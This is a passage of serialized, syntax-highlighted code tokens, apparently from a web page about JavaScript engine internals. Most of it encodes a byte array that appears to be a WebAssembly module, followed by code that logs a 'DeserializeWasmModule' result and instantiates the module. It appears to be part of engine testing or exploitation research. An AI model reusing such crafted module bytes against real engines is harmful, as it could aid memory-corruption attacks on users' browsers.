16},[136025],{"type":28,"value":132476},{"type":23,"tag":139,"props":136027,"children":136028},{"style":259},[136029],{"type":28,"value":1052},{"type":23,"tag":139,"props":136031,"children":136032},{"style":1016},[136033],{"type":28,"value":2021},{"type":23,"tag":139,"props":136035,"children":136036},{"style":259},[136037],{"type":28,"value":1052},{"type":23,"tag":139,"props":136039,"children":136040},{"style":1016},[136041],{"type":28,"value":2021},{"type":23,"tag":139,"props":136043,"children":136044},{"style":259},[136045],{"type":28,"value":1052},{"type":23,"tag":139,"props":136047,"children":136048},{"style":1016},[136049],{"type":28,"value":2021},{"type":23,"tag":139,"props":136051,"children":136052},{"style":259},[136053],{"type":28,"value":1052},{"type":23,"tag":139,"props":136055,"children":136056},{"style":1016},[136057],{"type":28,"value":43021},{"type":23,"tag":139,"props":136059,"children":136060},{"style":259},[136061],{"type":28,"value":1052},{"type":23,"tag":139,"props":136063,"children":136064},{"style":1016},[136065],{"type":28,"value":2021},{"type":23,"tag":139,"props":136067,"children":136068},{"style":259},[136069],{"type":28,"value":1052},{"type":23,"tag":139,"props":136071,"children":136072},{"style":1016},[136073],{"type":28,"value":2021},{"type":23,"tag":139,"props":136075,"children":136076},{"style":259},[136077],{"type":28,"value":1052},{"type":23,"tag":139,"props":136079,"children":136080},{"style":1016},[136081],{"type":28,"value":2021},{"type":23,"tag":139,"props":136083,"children":136084},{"style":259},[136085],{"type":28,"value":1052},{"type":23,"tag":139,"props":136087,"children":136088},{"style":1016},[136089],{"type":28,"value":43021},{"type":23,"tag":139,"props":136091,"children":136092},{"style":259},[136093],{"type":28,"value":1052},{"type":23,"tag":139,"props":136095,"children":136096},{"style":1016},[136097],{"type":28,"value":2021},{"type":23,"tag":139,"props":136099,"children":136100},{"style":259},[136101],{"type":28,"value":1488},{"type":23,"tag":139,"props":136103,"children":136104},{"class":141,"line":214},[136105,136109,136113,136117,136121,136125,136129,136133,136137,136141,136145,136149,136153,136157,136161,136165,136169,136173,136177,136181,136185,136189,136193,136197,136201,136205,136209,136213,136217,136221,136225,136229,136233,136237,136241,136245,136249,136253,136257,136261,136265,136269,136273,136277,136281,136285,136289,136293,136297,136301,136305,136309,136313,136317,136321,136325,136329,136333,136337,136341,136345,136349],{"type":23,"tag":139,"props":136106,"children":136107},{"style":1016},[136108],{"type":28,"value":132101},{"type":23,"tag":139,"props":136110,"children":136111},{"style":259},[136112],{"type":28,"value":1052},{"type":23,"tag":139,"props":136114,"children":136115},{"style":1016},[136116],{"type":28,"value":2021},{"type":23,"tag":139,"props":136118,"children":136119},{"style":259},[136120],{"type":28,"value":1052},{"type":23,"tag":139,"props":136122,"children":136123},{"style":1016},[136124],{"type":28,"value":43021},{"type":23,"tag":139,"props":136126,"children":136127},{"style":259},[136128],{"type":28,"value":1052},{"type":23,"tag":139,"props":136130,"children":136131},{"style":1016},[136132],{"type":28,"value":2021},{"type":23,"tag":139,"props":136134,"children":136135},{"style":259},[136136],{"type":28,"value":1052},{"type":23,"tag":139,"props":136138,"children":136139},{"style":1016},[136140],{"type":28,"value":2021},{"type":23,"tag":139,"props":136142,"children":136143},{"style":259},[136144],{"type":28,"value":1052},{"type":23,"tag":139,"props":136146,"children":136147},{"style":1016},[136148],{"type":28,"value":2021},{"type":23,"tag":139,"props":136150,"children":136151},{"style":259},[136152],{"type":28,"value":1052},{"type":23,"tag":139,"props":136154,"children":136155},{"style":1016},[136156],{"type":28,"value":15541},{"type":23,"tag":139,"props":136158,"children":136159},{"style":259},[136160],{"type":28,"value":1052},{"type":23,"tag":139,"props":136162,"children":136163},{"style":1016},[136164],{"type":28,"value":2021},{"type":23,"tag":139,"props":136166,"children":136167},{"style":259},[136168],{"type":28,"value":1052},{"type":23,"tag":139,"props":136170,"children":136171},{"style":1016},[136172],{"type":28,"value":2021},{"type":23,"tag":139,"props":136174,"children":136175},{"style":259},[136176],{"type":28,"value":1052},{"type":23,"tag":139,"props":136178,"children":136179},{"style":1016},[136180],{"type":28,"value":2021},{"type":23,"tag":139,"props":136182,"children":136183},{"style":259},[136184],{"type":28,"value":1052},{"type":23,"tag":139,"props":136186,"children":136187},{"style":1016},[136188],{"type":28,"value":2021},{"type":23,"tag":139,"props":136190,"children":136191},{"style":259},[136192],{"type":28,"value":1052},{"type":23,"tag":139,"props":136194,"children":136195},{"style":1016},[136196],{"type":28,"value":2021},{"type":23,"tag":139,"props":136198,"children":136199},{"style":259},[136200],{"type":28,"value":1052},{"type":23,"tag":139,"props":136202,"children":136203},{"style":1016},[136204],{"type":28,"value":2021},{"type":23,"tag":139,"props":136206,"children":136207},{"style":259},[136208],{"type":28,"value":1052},{"type":23,"tag":139,"props":136210,"children":136211},{"style":1016},[136212],{"type":28,"value":2021},{"type":23,"tag":139,"props":136214,"children":136215},{"style":259},[136216],{"type":28,"value":1052},{"type":23,"tag":139,"props":136218,"children":136219},{"style":1016},[136220],{"type":28,"value":2021},{"type":23,"tag":139,"props":136222,"children":136223},{"style":259},[136224],{"type":28,"value":1052},{"type":23,"tag":139,"props":136226,"children":136227},{"style":1016},[136228],{"type":28,"value":2021},{"type":23,"tag":139,"props":136230,"children":136231},{"style":259},[136232],{"type":28,"value":1052},{"type":23,"tag":139,"props":136234,"children":136235},{"style":1016},[136236],{"type":28,"value":2021},{"type":23,"tag":139,"props":136238,"children":136239},{"style":259},[136240],{"type":28,"value":1052},{"type":23,"tag":139,"props":136242,"children":136243},{"style":1016},[136244],{"type":28,"value":2021},{"type":23,"tag":139,"props":136246,"children":136247},{"style":259},[136248],{"type":28,"value":1052},{"type":23,"tag":139,"props":136250,"children":136251},{"style":1016},[136252],{"type":28,"value":27445},{"type":23,"tag":139,"props":136254,"children":136255},{"style":259},[136256],{"type":28,"value":1052},{"type":23,"tag":139,"props":136258,"children":136259},{"style":1016},[136260],{"type":28,"value":2021},{"type":23,"tag":139,"props":136262,"children":136263},{"style":259},[136264],{"type":28,"value":1052},{"type":23,"tag":139,"props":136266,"children":136267},{"style":1016},[136268],{"type":28,"value":2021},{"type":23,"tag":139,"props":136270,"children":136271},{"style":259},[136272],{"type":28,"value":1052},{"type":23,"tag":139,"props":136274,"children":136275},{"style":1016},[136276],{"type":28,"value":2021},{"type":23,"tag":139,"props":136278,"children":136279},{"style":259},[136280],{"type":28,"value":1052},{"type":23,"tag":139,"props":136282,"children":136283},{"style":1016},[136284],{"type":28,"value":2021},{"type":23,"tag":139,"props":136286,"children":136287},{"style":259},[136288],{"type":28,"value":1052},{"type":23,"tag":139,"props":136290,"children":136291},{"style":1016},[136292],{"type":28,"value":2021},{"type":23,"tag":139,"props":136294,"children":136295},{"style":259},[136296],{"type":28,"value":1052},{"type":23,"tag":139,"props":136298,"children":136299},{"style":1016},[136300],{"type":28,"value":2021},{"type":23,"tag":139,"props":136302,"children":136303},{"style":259},[136304],{"type":28,"value":1052},{"type":23,"tag":139,"props":136306,"children":136307},{"style":1016},[136308],{"type":28,"value":2021},{"type":23,"tag":139,"props":136310,"children":136311},{"style":259},[136312],{"type":28,"value":1052},{"type":23,"tag":139,"props":136314,"children":136315},{"style":1016},[136316],{"type":28,"value":2021},{"type":23,"tag":139,"props":136318,"children":136319},{"style":259},[136320],{"type":28,"value":1052},{"type":23,"tag":139,"props":136322,"children":136323},{"style":1016},[136324],{"type":28,"value":2021},{"type":23,"tag":139,"props":136326,"children":136327},{"style":259},[136328],{"type":28,"value":1052},{"type":23,"tag":139,"props":136330,"children":136331},{"style":1016},[136332],{"type":28,"value":2021},{"type":23,"tag":139,"props":136334,"children":136335},{"style":259},[136336],{"type":28,"value":1052},{"type":23,"tag":139,"props":136338,"children":136339},{"style":1016},[136340],{"type":28,"value":2021},{"type":23,"tag":139,"props":136342,"children":136343},{"style":259},[136344],{"type":28,"value":1052},{"type":23,"tag":139,"props":136346,"children":136347},{"style":1016},[136348],{"type":28,"value":2021},{"type":23,"tag":139,"props":136350,"children":136351},{"style":259},[136352],{"type":28,"value":1488},{"type":23,"tag":139,"props":136354,"children":136355},{"class":141,"line":1320},[136356,136360,136364,136368,136372,136376,136380,136384,136388,136392,136396,136400,136404,136408,136412,136416,136420,136424,136428,136432,136436,136440,136444,136448,136452,136456,136460,136464,136468,136472,136476,136480,136484,136489,136493,136498,136502,136506,136510,136515,136519,136523,136527,136531,136535,136539,136543,136548,136552,136556,136560,136565,136569,136573],{"type":23,"tag":139,"props":136357,"children":136358},{"style":1016},[136359],{"type":28,"value":132101},{"type":23,"tag":139,"props":136361,"children":136362},{"style":259},[136363],{"type":28,"value":1052},{"type":23,"tag":139,"props":136365,"children":136366},{"style":1016},[136367],{"type":28,"value":2021},{"type":23,"tag":139,"props":136369,"children":136370},{"style":259},[136371],{"type":28,"value":1052},{"type":23,"tag":139,"props":136373,"children":136374},{"style":1016},[136375],{"type":28,"value":2021},{"type":23,"tag":139,"props":136377,"children":136378},{"style":259},[136379],{"type":28,"value":1052},{"type":23,"tag":139,"props":136381,"children":136382},{"style":1016},[136383],{"type":28,"value":2021},{"type":23,"tag":139,"props":136385,"children":136386},{"style":259},[136387],{"type":28,"value":1052},{"type":23,"tag":139,"props":136389,"children":136390},{"style":1016},[136391],{"type":28,"value":2021},{"type":23,"tag":139,"props":136393,"children":136394},{"style":259},[136395],{"type":28,"value":1052},{"type":23,"tag":139,"props":136397,"children":136398},{"style":1016},[136399],{"type":28,"value":2021},{"type":23,"tag":139,"props":136401,"children":136402},{"style":259},[136403],{"type":28,"value":1052},{"type":23,"tag":139,"props":136405,"children":136406},{"style":1016},[136407],{"type":28,"value":2021},{"type":23,"tag":139,"props":136409,"children":136410},{"style":259},[136411],{"type":28,"value":1052},{"type":23,"tag":139,"props":136413,"children":136414},{"style":1016},[136415],{"type":28,"value":2021},{"type":23,"tag":139,"props":136417,"children":136418},{"style":259},[136419],{"type":28,"value":1052},{"type":23,"tag":139,"props":136421,"children":136422},{"style":1016},[136423],{"type":28,"value":2021},{"type":23,"tag":139,"props":136425,"children":136426},{"style":259},[136427],{"type":28,"value":1052},{"type":23,"tag":139,"props":136429,"children":136430},{"style":1016},[136431],{"type":28,"value":2021},{"type":23,"tag":139,"props":136433,"children":136434},{"style":259},[136435],{"type":28,"value":1052},{"type":23,"tag":139,"props":136437,"children":136438},{"style":1016},[136439],{"type":28,"value":2021},{"type":23,"tag":139,"props":136441,"children":136442},{"style":259},[136443],{"type":28,"value":1052},{"type":23,"tag":139,"props":136445,"children":136446},{"style":1016},[136447],{"type":28,"value":2021},{"type":23,"tag":139,"props":136449,"children":136450},{"style":259},[136451],{"type":28,"value":1052},{"type":23,"tag":139,"props":136453,"children":136454},{"style":1016},[136455],{"type":28,"value":2021},{"type":23,"tag":139,"props":136457,"children":136458},{"style":259},[136459],{"type":28,"value":1052},{"type":23,"tag":139,"props":136461,"children":136462},{"style":1016},[136463],{"type":28,"value":2021},{"type":23,"tag":139,"props":136465,"children":136466},{"style":259},[136467],{"type":28,"value":1052},{"type":23,"tag":139,"props":136469,"children":136470},{"style":1016},[136471],{"type":28,"value":2021},{"type":23,"tag":139,"props":136473,"children":136474},{"style":259},[136475],{"type":28,"value":1052},{"type":23,"tag":139,"props":136477,"children":136478},{"style":1016},[136479],{"type":28,"value":1099},{"type":23,"tag":139,"props":136481,"children":136482},{"style":259},[136483],{"type":28,"value":1052},{"type":23,"tag":139,"props":136485,"children":136486},{"style":1016},[136487],{"type":28,"value":136488},"95",{"type":23,"tag":139,"props":136490,"children":136491},{"style":259},[136492],{"type":28,"value":1052},{"type":23,"tag":139,"props":136494,"children":136495},{"style":1016},[136496],{"type":28,"value":136497},"36",{"type":23,"tag":139,"props":136499,"children":136500},{"style":259},[136501],{"type":28,"value":1052},{"type":23,"tag":139,"props":136503,"children":136504},{"style":1016},[136505],{"type":28,"value":15308},{"type":23,"tag":139,"props":136507,"children":136508},{"style":259},[136509],{"type":28,"value":1052},{"type":23,"tag":139,"props":136511,"children":136512},{"style":1016},[136513],{"type":28,"value":136514},"213",{"type":23,"tag":139,"props":136516,"children":136517},{"style":259},[136518],{"type":28,"value":1052},{"type":23,"tag":139,"props":136520,"children":136521},{"style":1016},[136522],{"type":28,"value":38738},{"type":23,"tag":139,"props":136524,"children":136525},{"style":259},[136526],{"type":28,"value":1052},{"type":23,"tag":139,"props":136528,"children":136529},{"style":1016},[136530],{"type":28,"value":647},{"type":23,"tag":139,"props":136532,"children":136533},{"style":259},[136534],{"type":28,"value":1052},{"type":23,"tag":139,"props":136536,"children":136537},{"style":1016},[136538],{"type":28,"value":27867},{"type":23,"tag":139,"props":136540,"children":136541},{"style":259},[136542],{"type":28,"value":1052},{"type":23,"tag":139,"props":136544,"children":136545},{"style":1016},[136546],{"type":28,"value":136547},"210",{"type":23,"tag":139,"props":136549,"children":136550},{"style":259},[136551],{"type":28,"value":1052},{"type":23,"tag":139,"props":136553,"children":136554},{"style":1016},[136555],{"type":28,"value":132494},{"type":23,"tag":139,"props":136557,"children":136558},{"style":259},[136559],{"type":28,"value":1052},{"type":23,"tag":139,"props":136561,"children":136562},{"style":1016},[136563],{"type":28,"value":136564},"35",{"type":23,"tag":139,"props":136566,"children":136567},{"style":259},[136568],{"type":28,"value":1052},{"type":23,"tag":139,"props":136570,"children":136571},{"style":1016},[136572],{"type":28,"value":15308},{"type":23,"tag":139,"props":136574,"children":136575},{"style":259},[136576],{"type":28,"value":1488},{"type":23,"tag":139,"props":136578,"children":136579},{"class":141,"line":1329},[136580,136585,136589,136594,136598,136603,136607,136612,136616,136621,136625,136630,136634,136639,136643,136647,136651,136655,136659,136663,136667,136671,136675,136679,136683,136688,136692,136697,136701,136705,136709,136713,136717,136721,136725,136729,136733,136737,136741,136746,136750,136755],{"type":23,"tag":139,"props":136581,"children":136582},{"style":1016},[136583],{"type":28,"value":136584},"    213",{"type":23,"tag":139,"props":136586,"children":136587},{"style":259},[136588],{"type":28,"value":1052},{"type":23,"tag":139,"props":136590,"children":136591},{"style":1016},[136592],{"type":28,"value":136593},"231",{"type":23,"tag":139,"props":136595,"children":136596},{"style":259},[136597],{"type":28,"value":1052},{"type":23,"tag":139,"props":136599,"children":136600},{"style":1016},[136601],{"type":28,"value":136602},"67",{"type":23,"tag":139,"props":136604,"children":136605},{"style":259},[136606],{"type":28,"value":1052},{"type":23,"tag":139,"props":136608,"children":136609},{"style":1016},[136610],{"type":28,"value":136611},"190",{"type":23,"tag":139,"props":136613,"children":136614},{"style":259},[136615],{"type":28,"value":1052},{"type":23,"tag":139,"props":136617,"children":136618},{"style":1016},[136619],{"type":28,"value":136620},"169",{"type":23,"tag":139,"props":136622,"children":136623},{"style":259},[136624],{"type":28,"value":1052},{"type":23,"tag":139,"props":136626,"children":136627},{"style":1016},[136628],{"type":28,"value":136629},"253",{"type":23,"tag":139,"props":136631,"children":136632},{"style":259},[136633],{"type":28,"value":1052},{"type":23,"tag":139,"props":136635,"children":136636},{"style":1016},[136637],{"type":28,"value":136638},"123",{"type":23,"tag":139,"props":136640,"children":136641},{"style":259},[136642],{"type":28,"value":1052},{"type":23,"tag":139,"props":136644,"children":136645},{"style":1016},[136646],{"type":28,"value":647},{"type":23,"tag":139,"props":136648,"children":136649},{"style":259},[136650],{"type":28,"value":1052},{"type":23,"tag":139,"props":136652,"children":136653},{"style":1016},[136654],{"type":28,"value":136620},{"type":23,"tag":139,"props":136656,"children":136657},{"style":259},[136658],{"type":28,"value":1052},{"type":23,"tag":139,"props":136660,"children":136661},{"style":1016},[136662],{"type":28,"value":136629},{"type":23,"tag":139,"props":136664,"children":136665},{"style":259},[136666],{"type":28,"value":1052},{"type":23,"tag":139,"props":136668,"children":136669},{"style":1016},[136670],{"type":28,"value":136602},{"type":23,"tag":139,"props":136672,"children":136673},{"style":259},[136674],{"type":28,"value":1052},{"type":23,"tag":139,"props":136676,"children":136677},{"style":1016},[136678],{"type":28,"value":2021},{"type":23,"tag":139,"props":136680,"children":136681},{"style":259},[136682],{"type":28,"value":1052},{"type":23,"tag":139,"props":136684,"children":136685},{"style":1016},[136686],{"type":28,"value":136687},"145",{"type":23,"tag":139,"props":136689,"children":136690},{"style":259},[136691],{"type":28,"value":1052},{"type":23,"tag":139,"props":136693,"children":136694},{"style":1016},[136695],{"type":28,"value":136696},"191",{"type":23,"tag":139,"props":136698,"children":136699},{"style":259},[136700],{"type":28,"value":1052},{"type":23,"tag":139,"props":136702,"children":136703},{"style":1016},[136704],{"type":28,"value":15308},{"type":23,"tag":139,"props":136706,"children":136707},{"style":259},[136708],{"type":28,"value":1052},{"type":23,"tag":139,"props":136710,"children":136711},{"style":1016},[136712],{"type":28,"value":2021},{"type":23,"tag":139,"props":136714,"children":136715},{"style":259},[136716],{"type":28,"value":1052},{"type":23,"tag":139,"props":136718,"children":136719},{"style":1016},[136720],{"type":28,"value":136687},{"type":23,"tag":139,"props":136722,"children":136723},{"style":259},[136724],{"type":28,"value":1052},{"type":23,"tag":139,"props":136726,"children":136727},{"style":1016},[136728],{"type":28,"value":136629},{"type":23,"tag":139,"props":136730,"children":136731},{"style":259},[136732],{"type":28,"value":1052},{"type":23,"tag":139,"props":136734,"children":136735},{"style":1016},[136736],{"type":28,"value":136638},{"type":23,"tag":139,"props":136738,"children":136739},{"style":259},[136740],{"type":28,"value":1052},{"type":23,"tag":139,"props":136742,"children":136743},{"style":1016},[136744],{"type":28,"value":136745},"193",{"type":23,"tag":139,"props":136747,"children":136748},{"style":259},[136749],{"type":28,"value":1052},{"type":23,"tag":139,"props":136751,"children":136752},{"style":1016},[136753],{"type":28,"value":136754},"168",{"type":23,"tag":139,"props":136756,"children":136757},{"style":259},[136758],{"type":28,"value":1488},{"type":23,"tag":139,"props":136760,"children":136761},{"class":141,"line":1580},[136762,136767,136771,136775,136779,136783,136787,136791,136795,136799,136803,136807,136811,136815,136819,136824,136828,136832,136836,136840,136844,136848,136852,136856,136860,136864,136868,136872,136876,136880,136884,136888,136892,136896,136900,136904,136908,136912,136916,136920,136924,136928,136932,136936,136940,136944,136948,136952,136956,136960,136964,136968,136972,136976],{"type":23,"tag":139,"props":136763,"children":136764},{"style":1016},[136765],{"type":28,"value":136766},"    255",{"type":23,"tag":139,"props":136768,"children":136769},{"style":259},[136770],{"type":28,"value":1052},{"type":23,"tag":139,"props":136772,"children":136773},{"style":1016},[136774],{"type":28,"value":136564},{"type":23,"tag":139,"props":136776,"children":136777},{"style":259},[136778],{"type":28,"value":1052},{"type":23,"tag":139,"props":136780,"children":136781},{"style":1016},[136782],{"type":28,"value":15308},{"type":23,"tag":139,"props":136784,"children":136785},{"style":259},[136786],{"type":28,"value":1052},{"type":23,"tag":139,"props":136788,"children":136789},{"style":1016},[136790],{"type":28,"value":136514},{"type":23,"tag":139,"props":136792,"children":136793},{"style":259},[136794],{"type":28,"value":1052},{"type":23,"tag":139,"props":136796,"children":136797},{"style":1016},[136798],{"type":28,"value":132449},{"type":23,"tag":139,"props":136800,"children":136801},{"style":259},[136802],{"type":28,"value":1052},{"type":23,"tag":139,"props":136804,"children":136805},{"style":1016},[136806],{"type":28,"value":15308},{"type":23,"tag":139,"props":136808,"children":136809},{"style":259},[136810],{"type":28,"value":1052},{"type":23,"tag":139,"props":136812,"children":136813},{"style":1016},[136814],{"type":28,"value":136488},{"type":23,"tag":139,"props":136816,"children":136817},{"style":259},[136818],{"type":28,"value":1052},{"type":23,"tag":139,"props":136820,"children":136821},{"style":1016},[136822],{"type":28,"value":136823},"214",{"type":23,"tag":139,"props":136825,"children":136826},{"style":259},[136827],{"type":28,"value":1052},{"type":23,"tag":139,"props":136829,"children":136830},{"style":1016},[136831],{"type":28,"value":94571},{"type":23,"tag":139,"props":136833,"children":136834},{"style":259},[136835],{"type":28,"value":1052},{"type":23,"tag":139,"props":136837,"children":136838},{"style":1016},[136839],{"type":28,"value":58246},{"type":23,"tag":139,"props":136841,"children":136842},{"style":259},[136843],{"type":28,"value":1052},{"type":23,"tag":139,"props":136845,"children":136846},{"style":1016},[136847],{"type":28,"value":15308},{"type":23,"tag":139,"props":136849,"children":136850},{"style":259},[136851],{"type":28,"value":1052},{"type":23,"tag":139,"props":136853,"children":136854},{"style":1016},[136855],{"type":28,"value":136514},{"type":23,"tag":139,"props":136857,"children":136858},{"style":259},[136859],{"type":28,"value":1052},{"type":23,"tag":139,"props":136861,"children":136862},{"style":1016},[136863],{"type":28,"value":15541},{"type":23,"tag":139,"props":136865,"children":136866},{"style":259},[136867],{"type":28,"value":1052},{"type":23,"tag":139,"props":136869,"children":136870},{"style":1016},[136871],{"type":28,"value":2021},{"type":23,"tag":139,"props":136873,"children":136874},{"style":259},[136875],{"type":28,"value":1052},{"type":23,"tag":139,"props":136877,"children":136878},{"style":1016},[136879],{"type":28,"value":2021},{"type":23,"tag":139,"props":136881,"children":136882},{"style":259},[136883],{"type":28,"value":1052},{"type":23,"tag":139,"props":136885,"children":136886},{"style":1016},[136887],{"type":28,"value":2021},{"type":23,"tag":139,"props":136889,"children":136890},{"style":259},[136891],{"type":28,"value":1052},{"type":23,"tag":139,"props":136893,"children":136894},{"style":1016},[136895],{"type":28,"value":2021},{"type":23,"tag":139,"props":136897,"children":136898},{"style":259},[136899],{"type":28,"value":1052},{"type":23,"tag":139,"props":136901,"children":136902},{"style":1016},[136903],{"type":28,"value":2021},{"type":23,"tag":139,"props":136905,"children":136906},{"style":259},[136907],{"type":28,"value":1052},{"type":23,"tag":139,"props":136909,"children":136910},{"style":1016},[136911],{"type":28,"value":2021},{"type":23,"tag":139,"props":136913,"children":136914},{"style":259},[136915],{"type":28,"value":1052},{"type":23,"tag":139,"props":136917,"children":136918},{"style":1016},[136919],{"type":28,"value":2021},{"type":23,"tag":139,"props":136921,"children":136922},{"style":259},[136923],{"type":28,"value":1052},{"type":23,"tag":139,"props":136925,"children":136926},{"style":1016},[136927],{"type":28,"value":2021},{"type":23,"tag":139,"props":136929,"children":136930},{"style":259},[136931],{"type":28,"value":1052},{"type":23,"tag":139,"props":136933,"children":136934},{"style":1016},[136935],{"type":28,"value":15541},{"type":23,"tag":139,"props":136937,"children":136938},{"style":259},[136939],{"type":28,"value":1052},{"type":23,"tag":139,"props":136941,"children":136942},{"style":1016},[136943],{"type":28,"value":2021},{"type":23,"tag":139,"props":136945,"children":136946},{"style":259},[136947],{"type":28,"value":1052},{"type":23,"tag":139,"props":136949,"children":136950},{"style":1016},[136951],{"type":28,"value":2021},{"type":23,"tag":139,"props":136953,"children":136954},{"style":259},[136955],{"type":28,"value":1052},{"type":23,"tag":139,"props":136957,"children":136958},{"style":1016},[136959],{"type":28,"value":2021},{"type":23,"tag":139,"props":136961,"children":136962},{"style":259},[136963],{"type":28,"value":1052},{"type":23,"tag":139,"props":136965,"children":136966},{"style":1016},[136967],{"type":28,"value":2021},{"type":23,"tag":139,"props":136969,"children":136970},{"style":259},[136971],{"type":28,"value":1052},{"type":23,"tag":139,"props":136973,"children":136974},{"style":1016},[136975],{"type":28,"value":2021},{"type":23,"tag":139,"props":136977,"children":136978},{"style":259},[136979],{"type":28,"value":1488},{"type":23,"tag":139,"props":136981,"children":136982},{"class":141,"line":1597},[136983,136987,136991,136995,136999,137003,137007,137011,137015,137019,137023,137028,137032,137037,137041,137046,137050,137054],{"type":23,"tag":139,"props":136984,"children":136985},{"style":1016},[136986],{"type":28,"value":132101},{"type":23,"tag":139,"props":136988,"children":136989},{"style":259},[136990],{"type":28,"value":1052},{"type":23,"tag":139,"props":136992,"children":136993},{"style":1016},[136994],{"type":28,"value":2021},{"type":23,"tag":139,"props":136996,"children":136997},{"style":259},[136998],{"type":28,"value":1052},{"type":23,"tag":139,"props":137000,"children":137001},{"style":1016},[137002],{"type":28,"value":2021},{"type":23,"tag":139,"props":137004,"children":137005},{"style":259},[137006],{"type":28,"value":1052},{"type":23,"tag":139,"props":137008,"children":137009},{"style":1016},[137010],{"type":28,"value":2021},{"type":23,"tag":139,"props":137012,"children":137013},{"style":259},[137014],{"type":28,"value":1052},{"type":23,"tag":139,"props":137016,"children":137017},{"style":1016},[137018],{"type":28,"value":2021},{"type":23,"tag":139,"props":137020,"children":137021},{"style":259},[137022],{"type":28,"value":1052},{"type":23,"tag":139,"props":137024,"children":137025},{"style":1016},[137026],{"type":28,"value":137027},"92",{"type":23,"tag":139,"props":137029,"children":137030},{"style":259},[137031],{"type":28,"value":1052},{"type":23,"tag":139,"props":137033,"children":137034},{"style":1016},[137035],{"type":28,"value":137036},"50",{"type":23,"tag":139,"props":137038,"children":137039},{"style":259},[137040],{"type":28,"value":1052},{"type":23,"tag":139,"props":137042,"children":137043},{"style":1016},[137044],{"type":28,"value":137045},"162",{"type":23,"tag":139,"props":137047,"children":137048},{"style":259},[137049],{"type":28,"value":1052},{"type":23,"tag":139,"props":137051,"children":137052},{"style":1016},[137053],{"type":28,"value":2021},{"type":23,"tag":139,"props":137055,"children":137056},{"style":259},[137057],{"type":28,"value":1488},{"type":23,"tag":139,"props":137059,"children":137060},{"class":141,"line":1614},[137061],{"type":23,"tag":139,"props":137062,"children":137063},{"style":259},[137064],{"type":28,"value":132388},{"type":23,"tag":139,"props":137066,"children":137067},{"class":141,"line":1627},[137068,137072,137076,137080,137084,137088,137092,137096,137100,137104,137108],{"type":23,"tag":139,"props":137069,"children":137070},{"style":279},[137071],{"type":28,"value":5859},{"type":23,"tag":139,"props":137073,"children":137074},{"style":294},[137075],{"type":28,"value":133841},{"type":23,"tag":139,"props":137077,"children":137078},{"style":982},[137079],{"type":28,"value":985},{"type":23,"tag":139,"props":137081,"children":137082},{"style":245},[137083],{"type":28,"value":133850},{"type":23,"tag":139,"props":137085,"children":137086},{"style":259},[137087],{"type":28,"value":262},{"type":23,"tag":139,"props":137089,"children":137090},{"style":294},[137091],{"type":28,"value":131719},{"type":23,"tag":139,"props":137093,"children":137094},{"style":259},[137095],{"type":28,"value":1052},{"type":23,"tag":139,"props":137097,"children":137098},{"style":294},[137099],{"type":28,"value":123046},{"type":23,"tag":139,"props":137101,"children":137102},{"style":259},[137103],{"type":28,"value":73},{"type":23,"tag":139,"props":137105,"children":137106},{"style":294},[137107],{"type":28,"value":123046},{"type":23,"tag":139,"props":137109,"children":137110},{"style":259},[137111],{"type":28,"value":1820},{"type":23,"tag":139,"props":137113,"children":137114},{"class":141,"line":1636},[137115,137119,137123,137127,137131,137135,137139,137143,137147,137151],{"type":23,"tag":139,"props":137116,"children":137117},{"style":294},[137118],{"type":28,"value":133886},{"type":23,"tag":139,"props":137120,"children":137121},{"style":982},[137122],{"type":28,"value":985},{"type":23,"tag":139,"props":137124,"children":137125},{"style":259},[137126],{"type":28,"value":1042},{"type":23,"tag":139,"props":137128,"children":137129},{"style":319},[137130],{"type":28,"value":30804},{"type":23,"tag":139,"props":137132,"children":137133},{"style":294},[137134],{"type":28,"value":133841},{"type":23,"tag":139,"props":137136,"children":137137},{"style":259},[137138],{"type":28,"value":73},{"type":23,"tag":139,"props":137140,"children":137141},{"style":245},[137142],{"type":28,"value":55464},{"type":23,"tag":139,"props":137144,"children":137145},{"style":259},[137146],{"type":28,"value":133915},{"type":23,"tag":139,"props":137148,"children":137149},{"style":294},[137150],{"type":28,"value":37042},{"type":23,"tag":139,"props":137152,"children":137153},{"style":259},[137154],{"type":28,"value":995},{"type":23,"tag":139,"props":137156,"children":137157},{"class":141,"line":1659},[137158,137162,137166,137170,137174,137179,137183,137187],{"type":23,"tag":139,"props":137159,"children":137160},{"style":294},[137161],{"type":28,"value":99848},{"type":23,"tag":139,"props":137163,"children":137164},{"style":259},[137165],{"type":28,"value":73},{"type":23,"tag":139,"props":137167,"children":137168},{"style":245},[137169],{"type":28,"value":99857},{"type":23,"tag":139,"props":137171,"children":137172},{"style":259},[137173],{"type":28,"value":262},{"type":23,"tag":139,"props":137175,"children":137176},{"style":265},[137177],{"type":28,"value":137178},"'DeserializeWasmModule result: '",{"type":23,"tag":139,"props":137180,"children":137181},{"style":982},[137182],{"type":28,"value":6910},{"type":23,"tag":139,"props":137184,"children":137185},{"style":294},[137186],{"type":28,"value":7167},{"type":23,"tag":139,"props":137188,"children":137189},{"style":259},[137190],{"type":28,"value":1820},{"type":23,"tag":139,"props":137192,"children":137193},{"class":141,"line":1667},[137194,137198,137202,137206,137210,137214,137218,137222,137226,137230],{"type":23,"tag":139,"props":137195,"children":137196},{"style":279},[137197],{"type":28,"value":34078},{"type":23,"tag":139,"props":137199,"children":137200},{"style":294},[137201],{"type":28,"value":133935},{"type":23,"tag":139,"props":137203,"children":137204},{"style":982},[137205],{"type":28,"value":985},{"type":23,"tag":139,"props":137207,"children":137208},{"style":279},[137209],{"type":28,"value":29820},{"type":23,"tag":139,"props":137211,"children":137212},{"style":294},[137213],{"type":28,"value":131702},{"type":23,"tag":139,"props":137215,"children":137216},{"style":259},[137217],{"type":28,"value":73},{"type":23,"tag":139,"props":137219,"children":137220},{"style":245},[137221],{"type":28,"value":131756},{"type":23,"tag":139,"props":137223,"children":137224},{"style":259},[137225],{"type":28,"value":262},{"type":23,"tag":139,"props":137227,"children":137228},{"style":294},[137229],{"type":28,"value":7089},{"type":23,"tag":139,"props":137231,"children":137232},{"style":259},[137233],{"type":28,"value":1820},{"type":23,"tag":139,"props":137235,"children":137236},{"class":141,"line":1676},[137237,137241,137245,137249,137253,137257,137261,137265,137269],{"type":23,"tag":139,"props":137238,"children":137239},{"style":279},[137240],{"type":28,"value":34078},{"type":23,"tag":139,"props":137242,"children":137243},{"style":294},[137244],{"type":28,"value":30859},{"type":23,"tag":139,"props":137246,"children":137247},{"style":982},[137248],{"type":28,"value":985},{"type":23,"tag":139,"props":137250,"children":137251},{"style":294},[137252],{"type":28,"value":133935},{"type":23,"tag":139,"props":137254,"children":137255},{"style":259},[137256],{"type":28,"value":73},{"type":23,"tag":139,"props":137258,"children":137259},{